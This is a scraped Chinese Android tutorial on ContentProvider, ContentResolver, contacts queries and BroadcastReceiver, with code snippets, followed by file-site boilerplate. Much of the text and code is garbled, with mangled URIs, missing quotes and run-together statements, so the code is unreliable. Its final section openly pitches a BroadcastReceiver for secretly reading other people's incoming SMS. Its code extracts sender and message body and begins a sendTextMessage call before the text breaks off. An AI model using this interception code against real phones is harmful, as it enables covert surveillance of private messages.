




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、ContentProvider與BroadcastReceiver課程安排nContentProvidernContentResolvernBroadcastReceiverContentProviderContentProvider是不同應(yīng)用程序之間進行數(shù)據(jù)交換的標(biāo)準API, ContentProvider以一些Uri的形式對外提供數(shù)據(jù),允許其它應(yīng)用訪問或修改數(shù)據(jù);其它應(yīng)用程序使用ContentProvider根據(jù)Uri去訪問操作指定數(shù)據(jù)完整地開發(fā)一個ContentProvider步驟如下:1.定義FirstProvider類,并繼承Android提供的ContentProvider類,并復(fù)
2、寫下列方法:onCreate() 初始化內(nèi)容提供器的時候調(diào)用。通常會在這里完成對數(shù)據(jù)庫的創(chuàng)建和升級等操作,返回 true 表示內(nèi)容提供器初始化成功,返回 false 則表示失敗。注意,只有當(dāng)存在ContentResolver嘗試訪問我們程序中的數(shù)據(jù)時,內(nèi)容提供器才會被初始化。query() 從內(nèi)容提供器中查詢數(shù)據(jù)。使用uri參數(shù)來確定查詢哪張表,projection參數(shù)用于確定查詢哪些列,selection和 selectionArgs參數(shù)用于約束查詢哪些行,sortOrder參數(shù)用于對結(jié)果進行排序,查詢的結(jié)果存放在Cursor對象中返回。insert() 向內(nèi)容提供器中添加一條數(shù)據(jù)。使用 u
3、ri參數(shù)來確定要添加到的表,待添加的數(shù)據(jù)保存在values參數(shù)中。添加完成后,返回一個用于表示這條新記錄的URI。update() 更新內(nèi)容提供器中已有的數(shù)據(jù)。使用 uri參數(shù)來確定更新哪一張表中的數(shù)據(jù),新數(shù)據(jù)保存在values參數(shù)中,selection和selectionArgs參數(shù)用于約束更新哪些行,受影響的行數(shù)將作為返回值返回。delete() 從內(nèi)容提供器中刪除數(shù)據(jù)。使用 uri 參數(shù)來確定刪除哪一張表中的數(shù)據(jù),selection和selectionArgs參數(shù)用于約束刪除哪些行,被刪除的行數(shù)將作為返回值返回。getType()根據(jù)傳入的內(nèi)容 URI來返回相應(yīng)的 MIME類型。2.在A
4、ndroidManifest.xml文件中注冊這個ContentProvider.Uri介紹Uri代表了要操作的數(shù)據(jù),Uri主要包含了兩部分信息:1需要操作的ContentProvider ,2對ContentProvider中的什么數(shù)據(jù)進行操作,一個Uri由以下幾部分組成:ContentProvider(內(nèi)容提供者)的scheme已經(jīng)由Android所規(guī)定, scheme為:content:/主機名(或叫Authority)用于唯一標(biāo)識這個ContentProvider,外部調(diào)用者可以根據(jù)這個標(biāo)識來找到它。路徑(path)可以用來表示我們要操作的數(shù)據(jù),路徑的構(gòu)建應(yīng)根據(jù)業(yè)務(wù)而定,如下:要操作p
5、erson表中id為10的記錄,可以構(gòu)建這樣的路徑:/person/10要操作person表中id為10的記錄的name字段, person/10/name要操作person表中的所有記錄,可以構(gòu)建這樣的路徑:/person要操作xxx表中的記錄,可以構(gòu)建這樣的路徑:/xxx當(dāng)然要操作的數(shù)據(jù)不一定來自數(shù)據(jù)庫,也可以是文件等他存儲方式,如下:要操作xml文件中person節(jié)點下的name節(jié)點,可以構(gòu)建這樣的路徑:/person/name如果要把一個字符串轉(zhuǎn)換成Uri,可以使用Uri類中的parse()方法,如下:Uri uri = Uri.parse(content:/com.lxt008.pr
6、ovider.personprovider/person) UriMatcher類使用介紹因為Uri代表了要操作的數(shù)據(jù),所以我們經(jīng)常需要解析Uri,并從Uri中獲取數(shù)據(jù)。Android系統(tǒng)提供了兩個用于操作Uri的工具類,分別為UriMatcher 和ContentUris 。掌握它們的使用,會便于我們的開發(fā)工作。UriMatcher類用于匹配Uri,它的用法如下:首先第一步把你需要匹配Uri路徑全部給注冊上,如下:/常量UriMatcher.NO_MATCH表示不匹配任何路徑的返回碼UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATC
7、H);/如果match()方法匹配content:/vider.personprovider/person路徑,返回匹配碼為1sMatcher.addURI(“vider.personprovider”, “person”, 1);/添加需要匹配uri,如果匹配就會返回匹配碼/如果match()方法匹配content:/vider.personprovider/person/230路徑,返回匹配碼為2sMatcher.addURI(“vider.personprovider”, “p
8、erson/#”, 2);/#號為通配符switch (sMatcher.match(Uri.parse(content:/vider.personprovider/person/10) case 1 break; case 2 break; default:/不匹配 break;注冊完需要匹配的Uri后,就可以使用sMatcher.match(uri)方法對輸入的Uri進行匹配,如果匹配就返回匹配碼,匹配碼是調(diào)用addURI()方法傳入的第三個參數(shù),假設(shè)匹配content:/vider.personprovider/person路徑,返
9、回的匹配碼為1 ContentUris類使用介紹ContentUris類用于獲取Uri路徑后面的ID部分,它有兩個比較實用的方法:withAppendedId(uri, id)用于為路徑加上ID部分:Uri uri = Uri.parse(content:/vider.personprovider/person)Uri resultUri = ContentUris.withAppendedId(uri, 10); /生成后的Uri為:content:/vider.personprovider/person/10parseId(uri)方
10、法用于從路徑中獲取ID部分:Uri uri = Uri.parse(content:/vider.personprovider/person/10)long personid = ContentUris.parseId(uri);/獲取的結(jié)果為:10使用ContentProvider共享數(shù)據(jù)ContentProvider類主要方法的作用:public boolean onCreate()該方法在ContentProvider創(chuàng)建后就會被調(diào)用, Android在系統(tǒng)啟動時就會創(chuàng)建ContentProvider 。public Uri insert(Uri uri, C
11、ontentValues values)該方法用于供外部應(yīng)用往ContentProvider添加數(shù)據(jù)。public int delete(Uri uri, String selection, String selectionArgs)該方法用于供外部應(yīng)用從ContentProvider刪除數(shù)據(jù)。public int update(Uri uri, ContentValues values, String selection, String selectionArgs)該方法用于供外部應(yīng)用更新ContentProvider中的數(shù)據(jù)。public Cursor query(Uri uri, Str
12、ing projection, String selection, String selectionArgs, String sortOrder)該方法用于供外部應(yīng)用從ContentProvider中獲取數(shù)據(jù)。public String getType(Uri uri)該方法用于返回當(dāng)前Url所代表數(shù)據(jù)的MIME類型。如果操作的數(shù)據(jù)屬于集合類型,那么MIME類型字符串應(yīng)該以vnd.android.cursor.dir/開頭,例如:要得到所有person記錄的Uri為content:/vider.personprovider/person,那么返回的MIME類型字符串
13、應(yīng)該為:“vnd.android.cursor.dir/person”。如果要操作的數(shù)據(jù)屬于單一數(shù)據(jù),那么MIME類型字符串應(yīng)該以vnd.android.cursor.item/開頭,例如:得到id為10的person記錄,Uri為content:/vider.personprovider/person/10,那么返回的MIME類型字符串應(yīng)該為:“vnd.android.cursor.item/person”。 源碼詳見FirstProviderContentResolver當(dāng)外部應(yīng)用需要對ContentProvider中的數(shù)據(jù)進行添加、刪除、修改和查詢操作時,可以
14、使用ContentResolver 類來完成,要獲取ContentResolver 對象,可以使用Activity提供的getContentResolver()方法。 ContentResolver 類提供了與ContentProvider類相同簽名的四個方法:public Uri insert(Uri uri, ContentValues values)該方法用于往ContentProvider添加數(shù)據(jù)。public int delete(Uri uri, String selection, String selectionArgs)該方法用于從ContentProvider刪除數(shù)據(jù)。pub
15、lic int update(Uri uri, ContentValues values, String selection, String selectionArgs)該方法用于更新ContentProvider中的數(shù)據(jù)。public Cursor query(Uri uri, String projection, String selection, String selectionArgs, String sortOrder)該方法用于從ContentProvider中獲取數(shù)據(jù)。這些方法的第一個參數(shù)為Uri,代表要操作的是哪個ContentProvider和對其中的什么數(shù)據(jù)進行操作,假設(shè)給
16、定的是: Uri.parse(“content:/vider.personprovider/person/10”),那么將會對主機名為vider.personprovider的ContentProvider進行操作,操作的數(shù)據(jù)為person表中id為10的記錄。ContentResolver使用ContentResolver對ContentProvider中的數(shù)據(jù)進行添加、刪除、修改和查詢操作:ContentResolver resolver = getContentResolver();Uri uri = Uri.parse(“cont
17、ent:/vider.personprovider/person);/添加一條記錄ContentValues values = new ContentValues();values.put(name, “l(fā)xt008);values.put(age, 35);resolver.insert(uri, values);/獲取person表中所有記錄Cursor cursor = resolver.query(uri, null, null, null, personid desc);while(cursor.moveToNext()Log.i(ContentTest,
18、 personid=+ cursor.getInt(0)+ ,name=+cursor.getString(1);/把id為1的記錄的name字段值更改新為limingContentValues updateValues = new ContentValues();updateValues.put(name, liming);Uri updateIdUri = ContentUris.withAppendedId(uri, 2);resolver.update(updateIdUri, updateValues, null, null);/刪除id為2的記錄Uri deleteIdUri =
19、ContentUris.withAppendedId(uri, 2);resolver.delete(deleteIdUri, null, null);ContentResolverAndroid系統(tǒng)提供了Contacts應(yīng)用程序來管理聯(lián)系人,而且Android系統(tǒng)還為聯(lián)系人管理提供了ContentProvider,這里允許其它應(yīng)用程序以ContentResolver來管理聯(lián)系人數(shù)據(jù).管理聯(lián)系人的URIContactsContract.Contacts.CONTENT_URI管理聯(lián)系人電話的URIContactsContract.CommonDataKinds.Phone.CONTENT_UR
20、I管理聯(lián)系人E-mail的URIContactsContract.CommonDataKinds.Email.CONTENT_URI/ 使用ContentResolver查找聯(lián)系人數(shù)據(jù)Cursor cursor = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null,null, null);/ 獲取聯(lián)系人IDString contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID);/ 獲取聯(lián)
21、系人的名字String name = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);注意給APP添加訪問權(quán)限Broadcast Intent Receiver當(dāng)你想要寫一個程序來對外部的事件做些處理時,可以使用Broadcast Intent Receiver。比如:當(dāng)電話響時,有短信時。Broadcast Intent Receiver它并不能拿來顯示UI畫面,它必需利用NotificationManager來通知使用者他們感興趣的事件發(fā)生了。Broadcast Intent Re
22、ceiver同樣的可以在AndroidManifest.xml中聲明,但你也可以用寫 Context.registerReceiver()程序的方式來注冊你自己的Broadcast Intent Receiver。你自己的程序并不會因為BroadcastReceivers被呼叫而被它執(zhí)行起來。而是當(dāng)BroadcastReceiver被觸發(fā) 時系統(tǒng)會依需求來執(zhí)行相對應(yīng)的程序。程序可以利用Context.sendBroadcast()來發(fā)出他們自己的intent broadcast給其它的程序。廣播接收者-BroadcastReceiver廣播接收者(BroadcastReceiver)用于異步接
23、收廣播Intent,廣播Intent的發(fā)送是通過調(diào)用Context.sendBroadcast()、Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()來實現(xiàn)的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收。要實現(xiàn)一個廣播接收者方法如下:第一步:繼承BroadcastReceiver,并重寫onReceive()方法。public class IncomingSMSReceiver extends BroadcastReceiver Override public void onReceive(C
24、ontext context, Intent intent) 第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:第一種:使用代碼進行訂閱IntentFilter filter = new IntentFilter(vider.Telephony.SMS_RECEIVED);IncomingSMSReceiver receiver = new IncomingSMSReceiver();registerReceiver(receiver, filter);第二種:在AndroidManifest.xml文件中的節(jié)點里進行訂閱: 使用廣播接收者竊聽短信如果你想竊聽別人接收
25、到的短信,達到你不可告人的目的,那么本節(jié)內(nèi)容可以實現(xiàn)你的需求。當(dāng)系統(tǒng)收到短信時,會發(fā)出一個action名稱為vider.Telephony.SMS_RECEIVED的廣播Intent,該Intent存放了接收到的短信內(nèi)容,使用名稱“pdus”即可從Intent中獲取短信內(nèi)容。public class IncomingSMSReceiver extends BroadcastReceiver private static final String SMS_RECEIVED = vider.Telephony.SMS_RECEIVED;Override
26、public void onReceive(Context context, Intent intent) if (intent.getAction().equals(SMS_RECEIVED) SmsManager sms = SmsManager.getDefault();Bundle bundle = intent.getExtras();if (bundle != null) Object pdus = (Object) bundle.get(pdus);SmsMessage messages = new SmsMessagepdus.length;for (int i = 0; i pdus.length; i+) messagesi = SmsMessage.createFromPdu(byte) pdusi);for (SmsMessage message : messages)String msg = message.getMessageBody();String to = message.getDisplayOriginatingAddress();sms.sendTextMessage(to, n
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 西醫(yī)臨床各科目知識點提煉試題及答案
- 歷年護士面試題及答案
- 社區(qū)健康管理與護理服務(wù)的整合試題及答案
- 激光技術(shù)的專業(yè)知識要求考題試題及答案
- 考古測繪考試題及答案
- 理清公共衛(wèi)生執(zhí)業(yè)醫(yī)師考試試題及答案
- 舞蹈新課標(biāo)考試題及答案
- 育嬰師考試心態(tài)調(diào)整試題及答案
- 西醫(yī)臨床檢查結(jié)果解讀試題及答案
- 心理健康教育相關(guān)試題及答案
- (一模)桂林市、來賓市2025屆高考第一次跨市聯(lián)合模擬考試英語試卷(含答案詳解)
- 2025深圳市房產(chǎn)交易居間合同
- 智研咨詢發(fā)布:2025年中國家庭智能機器人行業(yè)市場現(xiàn)狀及投資前景分析報告
- 2023年鄭州軌道工程職業(yè)學(xué)院單招職業(yè)適應(yīng)性測試題庫附答案
- 2025年安徽國際商務(wù)職業(yè)學(xué)院單招職業(yè)技能考試題庫及答案1套
- 2024北京理工大附中高一(下)期中英語試題及答案
- 2025年心理b證筆試試題及答案
- 玉盤二部合唱簡譜
- 《電工與電子技術(shù)基礎(chǔ)》試題庫及答案
- 畢業(yè)論文(設(shè)計)液壓滑臺設(shè)計
- 小學(xué)數(shù)學(xué)四年級下冊小數(shù)點移動練習(xí)題(共2頁)
評論
0/150
提交評論